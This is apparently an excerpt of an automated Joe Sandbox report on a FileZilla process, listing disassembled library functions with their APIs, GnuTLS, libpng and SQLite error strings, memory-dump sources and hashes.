Opcode Fuzzy Hash: d5f23af932b7da7468e5496e1ccba656f978be2b239ea0afb1d01e61859bfc5a
Instruction Fuzzy Hash: C911367234AA14C1EA49CB56E8847E9A766B7D57C4FC4D403CD1A87350EF38C090C340

Function 00007FF81FA610D0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 205stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF81FA61218
memcpy.MSVCRT ref: 00007FF81FA61368

Strings

ASSERT: %s[%s]:%d, xrefs: 00007FF81FA6139B, 00007FF81FA613CF, 00007FF81FA61415, 00007FF81FA61441
common.c, xrefs: 00007FF81FA6138F, 00007FF81FA613C0, 00007FF81FA61409, 00007FF81FA61435
_gnutls_x509_decode_string, xrefs: 00007FF81FA61388, 00007FF81FA613B0, 00007FF81FA61402, 00007FF81FA6142E

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: memcpystrlen
String ID: ASSERT: %s[%s]:%d$_gnutls_x509_decode_string$common.c
API String ID: 3412268980-2569750746
Opcode ID: d6a5dc6a966c350b6fc617e2497865c48d92b06ca7636fff15afc80be935d2c7
Instruction ID: 65884ae45117a060caeeb3e55f9492b1273feeb7fd8dcb16e940f25410d33b76
Opcode Fuzzy Hash: d6a5dc6a966c350b6fc617e2497865c48d92b06ca7636fff15afc80be935d2c7
Instruction Fuzzy Hash: E1915F72A08F4686E6248B55F9413A97BA1FB44BF8F404336DA4E83BA5DF3CE444CB40

Function 61554F90 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 193stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 61554FFA
strlen.MSVCRT ref: 61555044

Strings

LACp, xrefs: 6155507F
pCAL: invalid keyword, xrefs: 615552A9
Unrecognized equation type for pCAL chunk, xrefs: 615552B8

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: strlen
String ID: LACp$Unrecognized equation type for pCAL chunk$pCAL: invalid keyword
API String ID: 39653677-3947872664
Opcode ID: e62a01ff2615b2c112fe3362f5653de8a0eb26ecece781d186cce0df9d9aec8f
Instruction ID: eab085635b86912b90554aa1f6b853edb1b14a82b0a40d09f43479f05db6883c
Opcode Fuzzy Hash: e62a01ff2615b2c112fe3362f5653de8a0eb26ecece781d186cce0df9d9aec8f
Instruction Fuzzy Hash: 3061007222969182CA62DB66A80439FFB60FBC6BD4F84C112DF8907B08EF3DC455CB40

Function 61554940 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 108stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 61554993

Strings

tXTz, xrefs: 615549FD
zTXt: invalid compression type, xrefs: 61554AC7
zTXt: invalid keyword, xrefs: 61554AD3
tXTz, xrefs: 6155499B

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: strlen
String ID: tXTz$tXTz$zTXt: invalid compression type$zTXt: invalid keyword
API String ID: 39653677-2796465694
Opcode ID: 92405f6d15514fc607829e6127dfc83b06b49cbf7b6637513bb3412945b2f084
Instruction ID: f261ca7a60d04ca49ecc4be81e329dc8fc8d3e9c7b0a0d33ee551066536a06f8
Opcode Fuzzy Hash: 92405f6d15514fc607829e6127dfc83b06b49cbf7b6637513bb3412945b2f084
Instruction Fuzzy Hash: A731257271869181DAA1DB26F804B9FE751B7C6BDCF84D4168E084BB04EF3CC526C708

Function 615547B0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 104stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6155484B

Strings

tEXt: text too long, xrefs: 6155491A
tXEt, xrefs: 615547F3
tXEt, xrefs: 6155486F
tEXt: invalid keyword, xrefs: 61554929

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: strlen
String ID: tEXt: invalid keyword$tEXt: text too long$tXEt$tXEt
API String ID: 39653677-606310201
Opcode ID: a35043007937589edd6f8eaf44cb003edef582f96a228287ea1c61f4b269a823
Instruction ID: 2d187386178093731e44439bf62f4816b69094699af9cc07db351a722d6cac06
Opcode Fuzzy Hash: a35043007937589edd6f8eaf44cb003edef582f96a228287ea1c61f4b269a823
Instruction Fuzzy Hash: 3E3125A170569141DD89DA7B6C0836ADB107BC3BE8F88CA129D285BB84FF38C532D344

Function 66387170 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 663871EB

Strings

matchinfo, xrefs: 663871CD
offsets, xrefs: 6638719D
snippet, xrefs: 66387178
optimize, xrefs: 663871B5

Memory Dump Source

Source File: 0000000D.00000002.2597388498.0000000066381000.00000020.00000001.01000000.00000011.sdmp, Offset: 66380000, based on PE: true

Associated: 0000000D.00000002.2597218018.0000000066380000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597614896.000000006648B000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597725866.00000000664B3000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597781090.00000000664B4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597836180.00000000664B7000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597896755.00000000664BA000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_66380000_filezilla.jbxd

Similarity

API ID: strcmp
String ID: matchinfo$offsets$optimize$snippet
API String ID: 1004003707-1016916705
Opcode ID: 006dd72e09a136d432b453c0cdff64318ce8c182c80008c09cbd9a663f770a78
Instruction ID: 437c391ebab38aded69edd5b09049989ff4451aabfdc5517db08a6f842a60dfe
Opcode Fuzzy Hash: 006dd72e09a136d432b453c0cdff64318ce8c182c80008c09cbd9a663f770a78
Instruction Fuzzy Hash: 7C112E36745F4099EA518F15F88038A77A9F7987A4F940239EE8C03B28FF3AC5A5C740

Function 61537840 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 61537865

Strings

inconsistent chromaticities, xrefs: 61537873, 615378D0
undefined, xrefs: 61537878
libpng error: %s, xrefs: 6153789A

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: ExitProcess
String ID: inconsistent chromaticities$libpng error: %s$undefined
API String ID: 621844428-3746788377
Opcode ID: 035307255a54b0d2c00baeda559f316de329715720a10bce20c7a2fa925c4639
Instruction ID: 00dd8e9b69c2f53c0be2a4591a4f52d27d18cd8de2821d414620f38d121422ca
Opcode Fuzzy Hash: 035307255a54b0d2c00baeda559f316de329715720a10bce20c7a2fa925c4639
Instruction Fuzzy Hash: 2A016D24F03665D4FE0CAB92B8543A9E722AFC9B84F88D4295D1E4B360EE29C412C350

Function 663F70C0 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 327COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 663F71F2

Strings

JSON path error near '%q', xrefs: 663F747C
malformed JSON, xrefs: 663F7535

Memory Dump Source

Source File: 0000000D.00000002.2597388498.0000000066381000.00000020.00000001.01000000.00000011.sdmp, Offset: 66380000, based on PE: true

Associated: 0000000D.00000002.2597218018.0000000066380000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597614896.000000006648B000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597725866.00000000664B3000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597781090.00000000664B4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597836180.00000000664B7000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597896755.00000000664BA000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_66380000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: JSON path error near '%q'$malformed JSON
API String ID: 3510742995-560895927
Opcode ID: bf8735c6bd4fa8977e365a9fff1a5c010c2bf3fb88e86c0650fafd4ea42f19da
Instruction ID: 2ee55590e09bbc1c2308f0aa0d9003e1895d456f04bf285f852d9bafcdc40c1f
Opcode Fuzzy Hash: bf8735c6bd4fa8977e365a9fff1a5c010c2bf3fb88e86c0650fafd4ea42f19da
Instruction Fuzzy Hash: B4D13C72624B9086E754CF25E86435A3BB5F745B8CF105119CE8D4B798EF7AE88AC3C0

Function 61558320 Relevance: 6.3, APIs: 4, Instructions: 316COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 61558411
fputc.MSVCRT ref: 615584A2

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: fputcmemset
String ID:
API String ID: 947785774-0
Opcode ID: 402ff2c3af26c27d50cd704d17642791fdc4b80f675a522c9de651506d9e23a3
Instruction ID: dbe04a781f353cd9c90f0191c0ba6e71865b63f41ed08b2bb216f971ad8b8fdc
Opcode Fuzzy Hash: 402ff2c3af26c27d50cd704d17642791fdc4b80f675a522c9de651506d9e23a3
Instruction Fuzzy Hash: 6FB1177373528086E7918F66C40031EBEA1F745B6CF19C21BCE295B788C339D962EB42

Function 61558840 Relevance: 6.2, APIs: 4, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91d88825325f781f70e7230a99ee72e5aebdf4efdeb53fa2a313b79dc6224bb1
Instruction ID: 7c2eeff0df361f7a2a683fe15840a8fedfa90bc058a29b5506a8d203a1d36c21
Opcode Fuzzy Hash: 91d88825325f781f70e7230a99ee72e5aebdf4efdeb53fa2a313b79dc6224bb1
Instruction Fuzzy Hash: D781D3B3B2529186E791CF6AC00071EBFB1E785BA8F59C616CE181B348D339D852DB42

Function 61584180 Relevance: 6.2, APIs: 4, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9520daacf6926501940c02da0b0cad1a321acf110e19005c021a035992b952c3
Instruction ID: b1fd6111a837d66e6100512724b95e7efe0b664452566855544b9da7e3d9d7e4
Opcode Fuzzy Hash: 9520daacf6926501940c02da0b0cad1a321acf110e19005c021a035992b952c3
Instruction Fuzzy Hash: EE81E473B192B18AE795CF69D40071EBFA9F785BA8F59C215CE191B388E738D881C740

Function 00007FF81F9F5FA1 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 180COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF81F9F6060

Strings

ASSERT: %s[%s]:%d, xrefs: 00007FF81F9F60F7, 00007FF81F9F6144, 00007FF81F9F61FF, 00007FF81F9F62A7, 00007FF81F9F62D3, 00007FF81F9F62FF
gnutls_handshake_write, xrefs: 00007FF81F9F60E4, 00007FF81F9F6131, 00007FF81F9F61E0, 00007FF81F9F6294, 00007FF81F9F62C0, 00007FF81F9F62EC
record.c, xrefs: 00007FF81F9F60EB, 00007FF81F9F6138, 00007FF81F9F61F0, 00007FF81F9F629B, 00007FF81F9F62C7, 00007FF81F9F62F3

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: ASSERT: %s[%s]:%d$gnutls_handshake_write$record.c
API String ID: 3510742995-417616580
Opcode ID: 36ea25984057dc347b3a11d49b7c6cef12bc3626d22cce66762025ac4f7d48c9
Instruction ID: efaf755d78b71237d0f3403c17bb2bf1adfc020cd41cd97d6d3063e13083bea1
Opcode Fuzzy Hash: 36ea25984057dc347b3a11d49b7c6cef12bc3626d22cce66762025ac4f7d48c9
Instruction Fuzzy Hash: B1814DA5E0CF8296F734AB25D8496B93A61BB417E4F844332DA0D876DACF3DE540C341

Function 6157D1F0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6157D22C

Strings

incorrect length check, xrefs: 6157D41C
C?, xrefs: 6157D1F3
Q?, xrefs: 6157D42A

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: C?$Q?$incorrect length check
API String ID: 3510742995-3497981988
Opcode ID: efc4fc3542cd141322c1aa97019fb24bdaa6d6953769710aeed0b2bda58c8708
Instruction ID: e9a164c51dbf1990ac52ff02dc99197c30975bd4776cedd77365e380b7fe317f
Opcode Fuzzy Hash: efc4fc3542cd141322c1aa97019fb24bdaa6d6953769710aeed0b2bda58c8708
Instruction Fuzzy Hash: 035105B26146B29BE739CF7AD682A9DFF61F741788744C018EB6607E44E731D568CB00

Function 61531010 Relevance: 6.1, APIs: 4, Instructions: 124sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 6153105D
_amsg_exit.MSVCRT ref: 61531086

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: e81dd5daf3ac53db2d0467644b3a9b2906ae62a94856c075431829a4cd4623d6
Instruction ID: 0e4090b6188076007e3812f12e6340edb596dd6cb66eae8ec613198152b76210
Opcode Fuzzy Hash: e81dd5daf3ac53db2d0467644b3a9b2906ae62a94856c075431829a4cd4623d6
Instruction Fuzzy Hash: 0C418F32746A54C6F7428B6AED90399E3B6A7C57D4F88C426CE1D47364EF39C891C380

Function 66381010 Relevance: 6.1, APIs: 4, Instructions: 124sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 6638105D
_amsg_exit.MSVCRT ref: 66381086

Memory Dump Source

Source File: 0000000D.00000002.2597388498.0000000066381000.00000020.00000001.01000000.00000011.sdmp, Offset: 66380000, based on PE: true

Associated: 0000000D.00000002.2597218018.0000000066380000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597614896.000000006648B000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597725866.00000000664B3000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597781090.00000000664B4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597836180.00000000664B7000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597896755.00000000664BA000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_66380000_filezilla.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 1c91a82a20ce33dd49b8a362ea5f8e20094e15a82dbbe33978077d89ad592ee4
Instruction ID: d14f5806d19e604980089241aa32ad660ed9b199d773b154bb0642bf0268d3ef
Opcode Fuzzy Hash: 1c91a82a20ce33dd49b8a362ea5f8e20094e15a82dbbe33978077d89ad592ee4
Instruction Fuzzy Hash: D841A072B4164586F7028F1AFC5079A2366BB95BD4F84402ACE2C47798EF7FD8A5C390

Function 00007FF81FA12F80 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF81FA12FC6

Strings

_gnutls_auth_cipher_decrypt2, xrefs: 00007FF81FA130A1, 00007FF81FA13120
cipher_int.c, xrefs: 00007FF81FA130A8, 00007FF81FA13127
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA130B4, 00007FF81FA13133

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: ASSERT: %s[%s]:%d$_gnutls_auth_cipher_decrypt2$cipher_int.c
API String ID: 3510742995-1005292939
Opcode ID: ecb3c53d04ca46543b24512d45037971474d6d626c013fe6dffaa45ae6f103f0
Instruction ID: c18f7c8f682449ff04a11266a5919548e7556a60481ccdae0e326c51b13d5fcd
Opcode Fuzzy Hash: ecb3c53d04ca46543b24512d45037971474d6d626c013fe6dffaa45ae6f103f0
Instruction Fuzzy Hash: 84416FB2A0CB8686EB348F19945227973E1BB417E8F454335FA8E46A91CF3CE540C711

Function 00007FF81F9F1010 Relevance: 6.1, APIs: 4, Instructions: 107sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00007FF81F9F1055
_amsg_exit.MSVCRT ref: 00007FF81F9F107F

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 07f158a82bfd2027f2b0e3516c20a42dc554a9e209382a1d219168048f254e74
Instruction ID: 2687c0b9173237e09cf60d58e86cd0cce7870b92f7eaa2f90ecba2628cbd7063
Opcode Fuzzy Hash: 07f158a82bfd2027f2b0e3516c20a42dc554a9e209382a1d219168048f254e74
Instruction Fuzzy Hash: C7418C70F0DE4682F731AF16E8546793691AF4ABF4F184236DE0C4739ADE2DE8808781

Function 6154E160 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6154E273

Part of subcall function 615393A0: memset.MSVCRT ref: 6153943A

Strings

unknown chunk: out of memory, xrefs: 6154E1FD
, xrefs: 6154E1AE
too many unknown chunks, xrefs: 6154E2A8

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpymemset
String ID: $too many unknown chunks$unknown chunk: out of memory
API String ID: 1297977491-3591672001
Opcode ID: 442bb0c9615c1ca01664a650e8e8c301ec932f2c6208c6a1db5c91c52a42ba77
Instruction ID: 94827bc203b327fd36b1b1d476f1f989746d3bb697761bccea8ebd25c8eff12c
